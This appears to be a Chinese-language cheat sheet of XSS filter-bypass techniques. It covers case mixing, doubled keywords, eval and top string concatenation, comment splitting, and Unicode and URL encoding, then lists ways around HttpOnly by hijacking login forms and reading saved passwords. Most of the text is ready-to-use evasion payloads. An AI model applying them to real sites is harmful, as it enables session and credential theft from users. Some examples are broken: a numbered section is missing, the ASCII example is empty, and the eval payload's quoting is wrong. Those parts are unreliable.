XSS各种绕过姿势
0x01 分类
1、反射型
也分为GET和POST两种,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
2、存储型
持久化,代码是存储在服务器中的,如在个人信息、发表文章、发表评论等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。
3、DOM型
不经过后端,基于文档对象模型的一种漏洞,它是通过url传入参数去控制触发的,其实也属于反射型。
0x02 绕过方法
一、过滤关键字
1.1 大小写绕过
<a Href="JavasCript:aLert('xss')">
1.2 双写关键字绕过
有些waf可能会只替换一次且是替换为空,这种情况下我们可以考虑双写关键字绕过:
<a hhrefref="javascripscriptt:alert('xss')">
1.3 字符串拼接
-
通过利用eval函数:
<a href="a='javascri';b='pt:aler';c='t';d='('xss')';eval(a+b+c+d)">
-
通过利用top函数:
<script>top["ale"+"rt"]('xss')</script>
1.4 使用注释进行干扰绕过
<scri<!--aaa-->pt>alert(123)</scri<!--bbb-->pt>
1.5 编码绕过
-
Unicode编码绕过
<a href="javascript:alert('xss')">
<a href="\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029">
-
url编码绕过
<a href="%6A%61%76%61%73%63%72%69%70%74%3A%61%6C%65%72%74%28%27%78%73%73%27%29">
-
Ascii码绕过
<a href="">
三、HttpOnly
HttpOnly是Set-Cookie HTTP响应头中包含的附加标志,开启后如果检测到检测到包含HttpOnly标志的cookie,并且客户端脚本代码尝试读取cookie,则浏览器会返回一个空字符作为结果。这样可以防止恶意(通常是XSS)代码将数据发送到攻击者的网站,从而导致攻击失败。
3.1、绕过方法
- 浏览器未保存账号密码,需要xss产生登录地址,利用表单劫持
- 浏览器保存密码,产生在后台的xss,存储型xss如留言等,浏览器读取账号密码